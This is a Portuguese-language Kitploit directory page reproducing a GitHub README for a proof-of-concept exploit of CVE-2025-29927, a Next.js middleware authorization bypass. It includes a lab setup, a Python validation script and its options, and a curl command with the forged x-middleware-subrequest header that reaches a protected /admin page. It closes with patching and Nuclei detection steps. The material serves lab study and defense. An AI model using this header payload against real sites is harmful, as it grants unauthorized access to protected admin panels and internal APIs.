Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-29927-PoC — Prova de conceito de exploit para CVE-2025-29927, uma bypass de autorização de middleware do Next.js. Inclui um laboratório alvo vulnerável e um script em Python para verificar a bypass enviando cabeçalhos x-middleware-subrequest elaborados. | Kitploit
Ferramentas/GitHubGitHub/ritinify/cve-2025-29927-poc
ExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubritinify/cve-2025-29927-poc

CVE-2025-29927-PoC

Prova de conceito de exploit para CVE-2025-29927, uma bypass de autorização de middleware do Next.js. Inclui um laboratório alvo vulnerável e um script em Python para verificar a bypass enviando cabeçalhos x-middleware-subrequest elaborados.

Ver Repositório
há 9h 4mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-29927 — Prova de Conceito (PoC) de Bypass de Autorização no Middleware do Next.js

Um pequeno projeto no GitHub para validar o CVE-2025-29927 (Bypass de Autorização no Middleware do Next.js) em um ambiente de laboratório de autorização local (VMware: máquina alvo Ubuntu + máquina atacante Kali).

⚠️ Aviso Legal: Este projeto destina-se exclusivamente a fins educacionais, CTF e ambientes de laboratório que você possui ou para os quais possui autorização explícita. É estritamente proibido usá-lo em qualquer sistema não autorizado. As consequências do uso indevido deste projeto são de responsabilidade do usuário.


📋 Índice

  • 1. Ficha da Vulnerabilidade
  • 2. Princípio da Vulnerabilidade (Entenda em 30 Segundos)
  • 3. Estrutura do Repositório
  • 4. Topologia do Laboratório (Duas Máquinas Virtuais VMware)
  • 5. Configuração da Máquina Alvo (Ubuntu 24.04)
  • 6. Preparação da Máquina Atacante (Kali)
  • 7. Validação Local (Etapa Principal)
  • 8. Descrição dos Parâmetros do PoC
  • 9. Autoteste Rápido Sem Máquina Alvo (Opcional)
  • 10. Correção e Detecção
  • 11. Perguntas Frequentes (FAQ)
  • 12. Referências

  • 1. Ficha da Vulnerabilidade

    ItemConteúdo
    CVECVE-2025-29927
    Data de Divulgação25/03/2025 (Aviso de Segurança Oficial do Next.js)
    Componente AfetadoVercel Next.js (Framework Full-Stack Node.js)
    Tipo de VulnerabilidadeBypass de Autorização / Autorização Incorreta (CWE-863)
    Versões Afetadas< 12.3.5, < 13.5.9, < 14.2.25, < 15.2.3
    Versões Corrigidas12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 ou superiores
    Nível de GravidadeCrítica / Alta (pontuação específica conforme página do NVD)

    Após a divulgação da vulnerabilidade, muitos painéis administrativos, callbacks de pagamento e APIs internas em ambientes de produção foram contornados. O Metasploit e o ProjectDiscovery Nuclei incluíram módulos de detecção, tornando-se uma das vulnerabilidades de "bypass de autorização em nível de framework" mais representativas de 2025.


    2. Princípio da Vulnerabilidade (Entenda em 30 Segundos)

    O Next.js permite que a "lógica de autenticação" seja escrita no middleware, por exemplo:

    root@kitploit:~
    export function middleware(request) {
      if (!isLogin(request)) return NextResponse.redirect("/login"); // Não autenticado → bloqueia
      return NextResponse.next();
    }
    

    O problema é que o Next.js internamente depende de um cabeçalho de requisição que o cliente pode forjar para determinar se "esta requisição já passou pelo middleware":

    root@kitploit:~
    x-middleware-subrequest: middleware
    

    Nas versões afetadas, se uma requisição externa carregar este cabeçalho interno, o Next.js assume erroneamente que o middleware já foi executado, fazendo com que todo o middleware de autenticação seja ignorado. O atacante não precisa de nenhuma conta; basta acessar rotas protegidas como /admin com este cabeçalho para obter um 200 direto — e como a página em si geralmente confia no middleware e não faz uma segunda verificação, o controle de autorização é anulado (erro de limite de confiança).

    💡 O valor mais comum usado em explorações públicas é a forma repetida e concatenada do caminho do middleware, por exemplo middleware:middleware:middleware:middleware:middleware; um único middleware pode não funcionar em algumas versões/estruturas de diretórios (testado na versão 14.2.24 deste laboratório). Este PoC testa várias opções de valores em sequência; se qualquer uma funcionar, o bypass é bem-sucedido.


    3. Estrutura do Repositório

    root@kitploit:~
    CVE-2025-29927-PoC/
    ├── README.md                 # Este documento (explicação da vulnerabilidade + tutorial do laboratório VMware)
    ├── LICENSE                   # MIT
    ├── .gitignore
    ├── exploit.py                # ★ PoC de validação em Python3 apenas com biblioteca padrão (executado no Kali/qualquer máquina)
    ├── target/                   # ★ Laboratório de vulnerabilidade auto-construído (copie para a máquina alvo Ubuntu)
    │   ├── package.json          #   Bloqueia [email protected] (versão afetada)
    │   ├── middleware.js         #   Simula o "middleware de autenticação" de produção real
    │   ├── pages/
    │   │   ├── index.js          #   Página inicial
    │   │   ├── login.js          #   Página de login (demonstra o redirecionamento para cá)
    │   │   └── admin.js          #   ★ Painel administrativo protegido, lê flag.txt no servidor
    │   ├── flag.txt              #   Flag do laboratório: FLAG{...}
    │   ├── setup.sh              #   Instala Node 20 + npm install + build com um clique na máquina alvo
    │   └── start.sh              #   Escuta em 0.0.0.0:3000 em modo de produção
    └── tests/
        └── mock_target.py        #   Máquina alvo simulada sem Node (apenas para autoteste de desenvolvimento)
    

    4. Topologia do Laboratório (Duas Máquinas Virtuais VMware)

    root@kitploit:~
    ┌───────────────────────────────────────────────────────────┐
    │ VMware Workstation Pro 17 (Host: Windows)                 │
    │ Rede: NAT (VMnet8 padrão), duas VMs no mesmo segmento, ping mútuo │
    │                                                           │
    │   ┌──────────────────┐        ┌─────────────────────┐     │
    │   │ Alvo Ubuntu 24.04 │        │ Atacante Kali Linux │     │
    │   │                  │  http   │                     │     │
    │   │  Node 20 + Next  │◄───────│  python3 exploit.py  │     │
    │   │  14.2.24 :3000   │  GET    │                     │     │
    │   └──────────────────┘        └─────────────────────┘     │
    │   IP: <TARGET_IP>              IP: <ATTACKER_IP>          │
    └───────────────────────────────────────────────────────────┘
    

    4.1 O que você precisa baixar

    FinalidadeImagem/SoftwareVersão Recomendada
    Software de VirtualizaçãoVMware Workstation Pro 17 (gratuito para uso pessoal)17.x
    Imagem da Máquina AlvoISO do Ubuntu Server LTS24.04.x
    Máquina AtacanteKali Linux (imagem VMware oficial pré-configurada ou instalação via ISO)2025.x
    (Opcional)Host com 8 GB+ de RAM, 50 GB+ de disco—

    4.2 Configuração Geral das Máquinas Virtuais

    1. Ambas as VMs devem ter 2 vCPU / 4 GB de RAM / 40 GB de disco;
    2. Adaptador de rede de ambas deve ser NAT (garante comunicação no mesmo segmento); para aprendizado, não é necessário habilitar bridge;
    3. Durante a instalação do Ubuntu, marque OpenSSH server (facilita a cópia de arquivos via SSH do host);
    4. Após instalar o sistema e confirmar a conexão com a internet, tire um snapshot limpo para facilitar a reabertura do laboratório.

    5. Configuração da Máquina Alvo (Ubuntu 24.04)

    Todos os passos abaixo são executados na máquina alvo Ubuntu.

    5.1 Coloque o código do projeto na máquina alvo (escolha uma opção)

    root@kitploit:~
    # Opção A: Faça push do projeto para seu GitHub e clone (recomendado; use este se for enviar para o GitHub depois)
    git clone https://github.com/<seu-usuario>/CVE-2025-29927-PoC.git
    cd CVE-2025-29927-PoC
    
    # Opção B: Copie do host via scp
    # scp -r CVE-2025-29927-PoC  ubuntu@<TARGET_IP>:~/
    

    5.2 Instale as dependências e construa o aplicativo vulnerável com um clique

    root@kitploit:~
    cd CVE-2025-29927-PoC/target
    sudo bash setup.sh        # Instala Node 20(LTS) + npm install + next build
    

    O que o setup.sh faz internamente: atualiza o apt → instala ferramentas curl/CA/build → instala o Node.js 20 LTS via NodeSource → npm install (baixa dependências como [email protected]) → npm run build.

    5.3 Inicie o aplicativo vulnerável (modo de produção, porta 3000)

    root@kitploit:~
    bash start.sh
    # Se vir "▲ Next.js 14.2.24" e "Local: http://0.0.0.0:3000", está funcionando
    

    Abra outro terminal e faça um teste de fumaça local primeiro:

    root@kitploit:~
    curl -s http://127.0.0.1:3000            # Página inicial, 200
    curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/admin
    # Saída esperada: 307 —— sem cookie, bloqueado pelo middleware (autenticação funcionando normalmente)
    curl -s http://127.0.0.1:3000/admin      # Observe que o body deve ser o conteúdo da página de login após o redirecionamento
    

    O firewall da máquina alvo não bloqueia tráfego de entrada por padrão; se você ativou o ufw: sudo ufw allow 3000/tcp.


    6. Preparação da Máquina Atacante (Kali)

    root@kitploit:~
    sudo apt update
    python3 --version          # O Kali já vem com Python3, sem dependências adicionais (PoC usa apenas biblioteca padrão)
    ip -4 addr show            # Anote o IP do Kali (ex: 192.168.x.xxx)
    

    Coloque o exploit.py no Kali (clone uma cópia do mesmo repositório ou copie apenas o arquivo via scp) e, em seguida, confirme que as duas VMs se comunicam:

    root@kitploit:~
    ping <TARGET_IP>           # Se funcionar ↓
    curl -s -o /dev/null -w "%{http_code}\n" http://<TARGET_IP>:3000   # Deve retornar 200
    

    7. Validação Local (Etapa Principal)

    Execute na máquina atacante Kali:

    root@kitploit:~
    python3 exploit.py -u http://<TARGET_IP>:3000
    

    Saída Esperada

    root@kitploit:~
    [1/3] Sondagem de linha de base   GET /admin (sem cabeçalhos especiais)
          └─ Código de status 307 —— bloqueado normalmente pelo middleware ✓ (ambiente vulnerável pronto)
    
    [2/3] Tentativa de bypass   x-middleware-subrequest: <teste de valores candidatos>
          └─ Valor do cabeçalho='middleware:middleware:middleware:middleware:middleware' Código de status 200 —— Bypass bem-sucedido! Middleware ignorado ✓
    
    [3/3] Extração de resultados
          └─ A página administrativa leu o flag.txt do servidor:
             FLAG{cve-2025-29927-lab-ok}
    
    [+] Conclusão: VULNERABLE —— Bypass de autorização CVE-2025-29927 validado com sucesso
    

    Interpretação principal: A mesma URL, sem o cabeçalho especial, é bloqueada com 307; com x-middleware-subrequest, retorna 200 direto para o painel administrativo — um ciclo completo de validação de "bypass do middleware de autenticação".

    Reprodução com curl (para você capturar evidências)

    root@kitploit:~
    # ① Linha de base: deve retornar 307 (redirecionamento para /login)
    curl -i http://<TARGET_IP>:3000/admin | head -n 10
    
    # ② Exploração: deve retornar 200 e conter FLAG{...}
    curl -i -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
         http://<TARGET_IP>:3000/admin | head -n 30
    

    📌 Nota de teste real: Neste laboratório (Next 14.2.24 + middleware.js no diretório raiz), o valor com 5 repetições middleware:middleware:middleware:middleware:middleware funciona, mas um único middleware não funciona. Para testes manuais com curl, use diretamente o valor com 5 repetições acima; se não tiver certeza, execute o exploit.py (que testa os valores candidatos automaticamente).


    8. Descrição dos Parâmetros do PoC

    root@kitploit:~
    usage: exploit.py [-h] -u URL [--path PATH] [--timeout SECONDS]
                      [--delay SECONDS] [--insecure] [--verbose]
    
      -u, --url URL        Endereço do alvo, ex: http://192.168.162.10:3000
      --path PATH          Caminho protegido, padrão /admin
      --timeout SECONDS    Timeout por requisição, padrão 10
      --delay SECONDS      Intervalo entre os valores candidatos do cabeçalho, padrão 0
      --insecure           Ignora a validação de certificado HTTPS
      --verbose            Imprime o status de resposta de cada cabeçalho candidato, útil para depuração
    
    Códigos de saída: 0 = vulnerabilidade confirmada; 1 = alvo não afetado/todas as requisições falharam; 2 = erro de parâmetros ou ambiente
    

    9. Autoteste Rápido Sem Máquina Alvo (Opcional)

    Se você não tiver VMware ou não quiser instalar o Node primeiro, pode usar a máquina alvo simulada incluída no repositório para testar a lógica do PoC primeiro (basta ter Python3 no host; ela simula o comportamento de "bloqueio 307 / retorno 200 com cabeçalho especial"):

    root@kitploit:~
    # Terminal 1: Inicie a máquina alvo simulada (escuta em 127.0.0.1:8123)
    python3 tests/mock_target.py
    
    # Terminal 2: Validação
    python3 exploit.py -u http://127.0.0.1:8123
    # Saída esperada: VULNERABLE e FLAG{mock-bypass-ok}
    

    Atenção: O simulador serve apenas para autotestar a lógica do script; a validação oficial deve ser feita no laboratório real das seções 5 e 6.


    10. Correção e Detecção

    Correção

    1. Atualize o Next.js: npm i [email protected] (ou 15.2.3+ / versão nova correspondente) e faça o build e deploy novamente;
    2. Recomendação de arquitetura: não faça da autorização uma defesa baseada apenas no middleware — rotas críticas devem verificar a identidade uma segunda vez dentro de getServerSideProps / Route Handlers / APIs de backend;
    3. Descarte todos os cabeçalhos x-middleware-subrequest de entrada na camada de proxy reverso/CDN/WAF.

    Detecção (verificação de sistemas existentes antes da atualização)

    root@kitploit:~
    # Template oficial do Nuclei
    nuclei -u http://<TARGET_IP>:3000 -t http/cves/2025/CVE-2025-29927.yaml
    

    Após a atualização, execute este PoC novamente; ele deve retornar "alvo não afetado" — esta é a forma de aceitação para comparação antes/depois da correção.


    11. Perguntas Frequentes (FAQ)

    SintomaCausa / Solução
    next start informa porta em usoUse lsof -i :3000 para encontrar o processo, ou use -p 3001
    curl http://<TARGET_IP>:3000 não funcionaAs duas VMs não estão no mesmo segmento NAT; verifique se os adaptadores de rede VMware estão ambos em NAT e confirme o segmento com ip a
    Acessar /admin já retorna 200 na linha de baseO middleware não está ativo: confirme se middleware.js está no diretório raiz de target/ e se o build do setup.sh foi bem-sucedido
    Após a tentativa de bypass, ainda retorna 307Os valores que funcionam variam conforme versão/estrutura de diretórios: execute primeiro python3 exploit.py --verbose para ver os resultados do teste; para teste manual com curl, use o valor com 5 repetições middleware:middleware:middleware:middleware:middleware
    O Kali não consegue dar ping no UbuntuCom NAT do VMware, a comunicação é padrão; se ainda não funcionar, verifique os firewalls das duas máquinas e restaure o snapshot
    Quero testar com outra versão do NextAltere a versão do next em target/package.json e execute npm install && npm run build novamente

    12. Referências

    • Entrada no NVD: CVE-2025-29927
    • Aviso de Segurança Oficial do Next.js (25/03/2025)
    • PR do módulo de detecção do Metasploit (rapid7/metasploit-framework)
    • Template oficial do Nuclei: CVE-2025-29927.yaml
    • Projeto de reprodução de referência: lirantal/vulnerable-nextjs-14-CVE-2025-29927
    Baixar ferramenta